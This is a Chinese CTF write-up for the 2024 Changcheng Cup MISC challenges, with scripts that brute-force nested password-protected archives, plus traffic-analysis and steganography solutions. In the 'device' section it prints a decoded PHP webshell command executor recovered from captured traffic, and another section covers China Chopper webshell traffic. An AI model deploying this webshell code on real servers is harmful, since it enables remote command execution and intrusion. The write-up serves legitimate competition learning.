2024长城杯铁人三项WP

MISC

压一压

题目附件给了一个 压一压.zip,然后里面有一个 flag.7z 和一个 pass.txt

pass.txt 中是一串有一个 ? 的字符串

那么毫无疑问密码应该是这个md5解密出来的内容,于是我跑去md5在线解密 发现解不出来???!

仔细观察后发现e48e5eb862692b0d4a?0bdb3a62e44d0这里面有一个字符居然是“问号” 根据md5加密原理,

md5是由字母a-f数字0-9组成的

那么有个问号的话 无疑就是这16个字符中的其中一个,通过不断尝试 发现这个字符为“f”

一查cmd5网站发现是这个79347793189,但这个作为密码不对,才发现原来md5就是解压密码

试着手动解了几层,发现一共有三种类型的压缩包:7z、rar、zip

无疑这是个套娃

解压了两次我发现 没解压一次文件小了1kb 当时猜测应该是套了400多个压缩包(实际压缩包有995个左右)

于是写一个 Python 脚本逐层爆破解套即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
# 原理是先读取pass.txt解压文件将问号替换成a-f 0-9这十六个字符 然后依次去尝试密码,再把解压出来的文件放进创建的文件夹,再次读取新解压出来的pass.txt继续执行替换
# 文件夹中正常只有三个文件 脚本文件 pass.txt 压一压.zip 每次执行请把上次执行的文件都删干净 不然会影响flag.txt结果
# 只能使用winrar来实现批量解压操作
# 会将每个问号替换正确的字符输出到flag.txt里面
# flag.txt里面第一个字符会多出来一个a(取决于16个字符哪个是第一位)是因为这个结果跑了两次 看尝试密码内容就能看出来,如果第一个不是a或者是a比较多那就说明有问题,请看第二条注意事项
import os
import subprocess
from itertools import product

def replace_question_mark(password, char):
return password.replace('?', char)

def read_password(filename):
with open(filename, 'r') as file:
password = file.read().strip()
return password

def unzip_with_winrar(zip_file, password, output_dir):
winrar_path = r'D:\WinRAR.exe' # WinRAR路径
command = f'"{winrar_path}" x -ibck -y -p{password} "{zip_file}" "{output_dir}"' # 添加 -y 参数
subprocess.run(command, shell=True)

def main():
input_file = '压一压.zip' # 输入文件名
output_dir = 'unzipped' # 输出文件夹名

# 创建输出文件夹
if not os.path.exists(output_dir):
os.makedirs(output_dir)

# 打开flag.txt文件以便写入
flag_file = open('flag.txt', 'w')

# 初始化密码
password = read_password('pass.txt')

# 循环解压
count = 0
while True:
output_subdir = os.path.join(output_dir, f'flag{count}')
os.makedirs(output_subdir, exist_ok=True)

found_char = None # 保存找到的字符
# 替换密码中的问号为所有可能的组合
for char in 'abcdef0123456789':
new_password = replace_question_mark(password, char)
print(f"尝试密码: {new_password}")
unzip_with_winrar(input_file, new_password, output_subdir)
files = os.listdir(output_subdir)
if files:
input_file = os.path.join(output_subdir, files[0])
pass_file = os.path.join(output_subdir, 'pass.txt')
password = read_password(pass_file)
found_char = char
break

if found_char is not None:
flag_file.write(found_char) # 将找到的字符写入flag.txt文件
flag_file.flush() # 强制刷新缓冲区
else:
break

count += 1

# 关闭flag.txt文件
flag_file.close()

# 实时打印flag.txt内容而不是等运行结束才一次性打印
with open('flag.txt', 'r') as file:
for line in file:
print(line, end='', flush=True)

if __name__ == "__main__":
main()

跑了两年半之后终于解压完毕了 将近1000个文件夹

打开最后一个文件夹发现里面有两个txt

image-20240402213109584

完善脚本,对应问号替换的字符都输出到flag.txt里面

1
affffffffff89504e470d0a1a0a0000000d49484452000000640000006408000000005589ca88000000097048597300000b1300000b1301009a9c18000000206348524d00007a25000080830000f9ff000080e9000075300000ea6000003a980000176f925fc546000001724944415478daec996bae832010854f89bbe32cf7eccffe906a1a1e3288dea47748638d163ee60533e5b5e2fe16e0108738c4219f46d65e3c21890c94d7f802493d60937e598a92a4de02080800a17437244b19a26384ed8bd0767bf00d94a553e302200a9ae6c2ea9c63afbaae0463b77b857a7fdeecc2797f664fb3df541787b2e1b94bc1e458b90b53d3239eba60bb4ec3d3b41ece5cbb7cd37288431ce21087fc20644133179eb4d9af8516f74be59db199d5254e92a43d63bb2ccb492a54308ecc7659dad99c50284bbe290d2f39ad4fbe718d21346c93d8b240bcddbb464225748cc8abe118acb31e09f93317e68c65c5b37a8738c4210e71c8ff85f00148717b0e33673c5d5da6ec7e1d6eb13be3ffb3a30d024a871ac471c2911f6ee4ff3fcba0aeb8c6357df64b7ab2b58a76a2a908a2007dcd3c7f72394d55e6a93da5704d5b8b35a91fc98bc37829d26df68e60e4f55aa8e2c21f1b1010534468b87299583a3c02f19dd1210e71c86f41de03003d75451bc374a8580000000049454e44ae426082

(有个小bug 第一次密码会跑两次 所以说flag.txt第一个字符是多出来的,如果没改动的话 默认第一个是a)

发现是一张图片

image-20240402213211948

按照解压的顺序,根据压缩包名称再替换成对应代表的符号

于是又写了个脚本,通过flag0到995文件夹名称顺序,依次读取里面的文件吧里面文件中包含三个压缩后缀的名称输出出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import os

def list_compressed_files(folder, output_file):
compressed_files = []
# 遍历当前文件夹及其所有子文件夹
for root, dirs, files in os.walk(folder):
for file in files:
# 如果文件名后缀为zip、rar或7z,则添加到列表中
if file.endswith('.zip') or file.endswith('.rar') or file.endswith('.7z'):
compressed_files.append(file)
# 将文件名列表写入到文件中
with open(output_file, 'a') as f:
for file_name in compressed_files:
f.write(file_name + '\n')

def main():
output_file = '123.txt' # 输出文件路径
folder_paths = [f"flag{i}" for i in range(996)] # 生成文件夹路径列表,从flag0到flag995
# 在开始之前清空输出文件
if os.path.exists(output_file):
os.remove(output_file)
for folder_path in folder_paths:
# 检查文件夹路径是否存在
if not os.path.exists(folder_path):
print(f"文件夹路径 {folder_path} 不存在。")
continue
list_compressed_files(folder_path, output_file)
print(f"文件夹 {folder_path} 中含有压缩文件的名称已经写入到{output_file}文件中。")

if __name__ == "__main__":
main()

image-20240402213353224

生成出来的结果大家用记事本的替换功能,替换成对应他要代表的字符就OK了

1
-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/..-./.-../.-/--./../.../.-/..-./....-/.-/-.-./.----/----././.-/-../.----/....-/.-/----./...--/-..././...--/----./---.././-.../---../.-/./...../...../-..../...../-----/--.../-../-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/../.-.////--..-..-//./.---..-..-./--.../-/..-.-/.-//--.-/-././-./-/./..-..-/////./-/.-//-/-..--/--...--/---/..-//---/./-...---..//--..////-.-/././-/.--./.-/-/-/.-...--/--./.-//-.--/..-..-/--.././//-./-/-.--//./--.///.-.-././.--.-.-/-..--/-..-/---.../.--/.////--.--..///....-.../.../--.--/-//./--/---.....//../--.-/..-.-/-..-/-//...-//..-.---///--.-/.......-.-..-././-..//-//-//--.-.-/--.//.---/////-//..-//..---.-/.---//-//-.--/-//-.../....//-/-./---./..-.--./--//..-.--..-////....//--...-.//.--/./..-//-.-./-./-////.//.-///-.-/-/../...../--/.//-.-.--.-/.-../-.--.././-.//./-../-.--..-/-/-.////..-.-//.-./..//-----./--//-//-/-/.---..-/-.-//./-../.-.----///-//-.-----///.//.---/

最后观察一下这个密文,其实就是摩斯电码 把替换成空格 然后拿去解密就行了

1
TTTTTTTTTTTTTTTTTTTTFLAGISAF4AC19EAD14A93BE398EB8AE556507DTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTIRE7TAQNENTEETATOUOEZKEETPATTGAYZENTYEG+EX:WESTEMIQXTVQEDTTGJTUJTYTBHTNMHWEUCNTEAKTI5MELENEDTNRIMTTTKEDTEJ

FLAG IS AF4AC19EAD14A93BE398EB8AE556507D

参考: 2024CTF长城杯misc题“压一压”解题思路

完整的提取脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from string import printable
import zipfile
import rarfile
import py7zr
import os


def decompress_7z(archive_file):
with py7zr.SevenZipFile(archive_file, 'r') as archive:
file_list = archive.list()
new_archive_file = file_list[0].filename
table = printable[:62]
with open("pass.txt", 'r') as f:
part_passwd = f.read().strip()
for item in table:
passwd = part_passwd.replace("?", item)
try:
# print(f"正在尝试密码:{passwd}")
with py7zr.SevenZipFile(archive_file, mode='r', password=passwd) as archive:
archive.extractall("tmp/")
print(f"用{passwd}成功解压缩")
data.append(item)
break
except:
pass
os.remove(archive_file)
os.remove("pass.txt")
os.system("mv tmp/* .")
os.rmdir("tmp")
return new_archive_file


def decompress_rar(archive_file):
with rarfile.RarFile(archive_file, 'r') as rar_ref:
file_list = rar_ref.namelist()
new_archive_file = file_list[0]
# print(new_archive_file)
table = printable[:62]
with open("pass.txt", 'r') as f:
part_passwd = f.read().strip()
for item in table:
passwd = part_passwd.replace("?", item)
try:
# print(f"正在尝试密码:{passwd}")
with rarfile.RarFile(archive_file, 'r') as rar_ref:
rar_ref.extractall(path="tmp/", pwd=passwd.encode())
print(f"用{passwd}成功解压缩")
data.append(item)
break
except:
pass
os.remove(archive_file)
os.remove("pass.txt")
os.system("mv tmp/* .")
os.rmdir("tmp")
return new_archive_file


def decompress_zip(archive_file):
with zipfile.ZipFile(archive_file, 'r') as zip_ref:
file_list = zip_ref.namelist()
new_archive_file = file_list[0]
os.mkdir("tmp")
table = printable[:62]
with open("pass.txt", 'r') as f:
part_passwd = f.read().strip()
for item in table:
passwd = part_passwd.replace("?", item)
try:
# print(f"正在尝试密码:{passwd}")
with zipfile.ZipFile(archive_file, 'r') as zip_ref:
zip_ref.extractall(path="tmp/", pwd=passwd.encode())
print(f"用{passwd}成功解压缩")
data.append(item)
break
except:
pass
os.remove(archive_file)
os.remove("pass.txt")
os.system("mv tmp/* .")
os.rmdir("tmp")
return new_archive_file


if __name__ == "__main__":
data = []
morse_code = []
archive_file = "flag.7z"
# archive_file = "flag.zip"
# archive_file = "flag.rar"
while True:
if "7z" in archive_file:
archive_file = decompress_7z(archive_file)
morse_code.append("-")
elif "rar" in archive_file:
archive_file = decompress_rar(archive_file)
morse_code.append("/")
elif "zip" in archive_file:
archive_file = decompress_zip(archive_file)
morse_code.append(".")
else:
break
print("掩码隐写内容如下:")
print("".join(data))
print("后缀隐写内容如下")
print("".join(morse_code))

flow

拉到最下面,追踪http流

image-20240406110843143

image-20240406110910799

flag{0ddeff-g9ef9ef0-defffef-mkt25gtf-kf}

chocked

题目附件给了一个压缩包,打开发现缺少了文件头,给它补上 504B0304

image-20240406111321528

得到一个elephant文件

把文件内容复制到cyberchef里面

image-20240406111439642

题目提示为clocked

那应该是clocked-pixel

密钥为elephant

image-20240406112559339

解压后得到

image-20240406112530355

flag{just_a_demo_picture}

ctfer

附件给了个加密的压缩包

image-20240406113003941

解压后得到secret.txt

1
the password is "Hav1F6n",plz use it to solve other wav by py.

根据提示可以知道那个 png 图片中藏了一个wav 文件

把wav提取出来

然后使用stegpy

1
2
3
4
>python steg.py "D:\UserData\Desktop\1.wav" -p
Enter password (will not be echoed):

flag{57d69ef29caff0c7ad2fc921ee6c8e06}

flag{57d69ef29caff0c7ad2fc921ee6c8e06}

device

题目附件给了一个 pcapng 流量包文件,用Wireshark打开发现一堆红条和黑条,因此猜测是加密了

在没有解密的情况下翻阅流量包,发现有两个可疑文件,server.key 和 keep_going.jpg

因此尝试将这两个文件导出

image-20240406121238189

将server.key导入

image-20240406141230928

image-20240406141226134

可以看到key为e45e329feb5d925b

然后在流 3149 中数据解码后得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
@error_reporting(0);
function getSafeStr($str){
$s1 = iconv('utf-8','gbk//IGNORE',$str);
$s0 = iconv('gbk','utf-8//IGNORE',$s1);
if($s0 == $str){
return $s0;
}else{
return iconv('gbk','utf-8//IGNORE',$str);
}
}
function main($cmd,$path)
{
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set('max_execution_time', 0);
$result = array();
$PadtJn = @ini_get('disable_functions');
if (! empty($PadtJn)) {
$PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
$PadtJn = explode(',', $PadtJn);
$PadtJn = array_map('trim', $PadtJn);
} else {
$PadtJn = array();
}
$c = $cmd;
if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
$c = $c . " 2>&1\n";
}
$JueQDBH = 'is_callable';
$Bvce = 'in_array';
if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
ob_start();
system($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
$handle = proc_open($c, array(
array(
'pipe',
'r'
),
array(
'pipe',
'w'
),
array(
'pipe',
'w'
)
), $pipes);
$kWJW = NULL;
while (! feof($pipes[1])) {
$kWJW .= fread($pipes[1], 1024);
}
@proc_close($handle);
} else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
ob_start();
passthru($c);
$kWJW = ob_get_contents();
ob_end_clean();
} else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
$kWJW = shell_exec($c);
} else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
$kWJW = array();
exec($c, $kWJW);
$kWJW = join(chr(10), $kWJW) . chr(10);
} else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
$fp = popen($c, 'r');
$kWJW = NULL;
if (is_resource($fp)) {
while (! feof($fp)) {
$kWJW .= fread($fp, 1024);
}
}
@pclose($fp);
} else {
$kWJW = 0;
$result["status"] = base64_encode("fail");
$result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
$key = $_SESSION['k'];
echo encrypt(json_encode($result));
return;
}
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode(getSafeStr($kWJW));
echo encrypt(json_encode($result));
}
function Encrypt($data)
{
$key="e45e329feb5d925b";
for($i=0;$i<strlen($data);$i++) {
$data[$i] = $data[$i]^$key[$i+1&15];
}
$bs="base64_"."encode";
$after=$bs($data."");
return $after;
}
$cmd="Y2QgL3RtcC90ZXN0LyA7ZWNobyAiMDUzNzAwMzU3NjIxIj4vdG1wL3Rlc3QvcGljdHVyZV9wYXNzd2Q=";$cmd=base64_decode($cmd);$path="L3RtcC90ZXN0Lw==";$path=base64_decode($path);
main($cmd,$path);

image-20240406142101978

1
cd /tmp/test/ ;echo "053700357621">/tmp/test/picture_passwd

密码为053700357621

1
2
>steghide.exe extract -sf "D:\UserData\Desktop\长城杯\MISC\device\keep_going.jpg" -p 053700357621
wrote extracted data to "flag.txt".

flag{i_am_4_Sk111ed_H4ck32}

notgiveup

解压发现是有个foremost压缩包,发现是工具来的

还有一个pacpng

打开是个流量分析,用wireshark打开

发现里面是菜刀的流量

找到上传的文件的地方,选择追踪到第7个TCP流<tcp.stream eq 7>。

然后发现下面的两个参数z1和z2,z1很短,值如下RDpcd2FtcDY0XHd3d1x1cGxvYWRcNjY2Ni5qcGc%3D,然后解BASE64后的值如下D:\wamp64\www\upload\6666.jpg,估计后面的z2的值就是这张图片的内容了吧(开头为FF D8典型的jpg文件格式)。

直接复制粘贴到winhex里面去保存为1.jpg即可。内容识别一下是Th1s_1s_p4sswd_!!!,继续向后追踪tcp流。

1

追踪到流9的时候发现了仔细观察最下面的东西发现应该是一个加密的压缩包的内容,内容如下

1
2
->|PK...........KQ...4...(.......flag.txtC......cS...J..Ea.v....&e$K..2%..$..,..=.J..1p..p46.PK..?..........KQ...4...(.....$....... .......flag.txt
. .........J. ..p.. .o2.p.. .o2.p..PK..........Z...Z.....well,you need passwd!.|<-

直接把整个流量包拉到kali里面用binwalk或者foremost

1
binwalk -e 题目1.pcapng --run-as=root

分离出压缩包之后拉到windows里面解压(zip后缀名的是我们需要的压缩包),直接复制到win解压,

但是一开始解压不了,用winrar自带的恢复一下

然后密码为刚才图片上的密码:Th1s_1s_p4sswd_!!!

解压后得到flag.txt

1
flag{3OpWdJ-JP6FzK-koCMAK-VkfWBq-75Un2z}

chocolate

解压后得到图片,用010打开

image-20240406221855113

把他导出来

改一下文件头52 61 72 21,为rar

爆破一下密码

88488

解压后得到

直接搜索flag

image-20240406222823270

flag{misc_like _chocolate}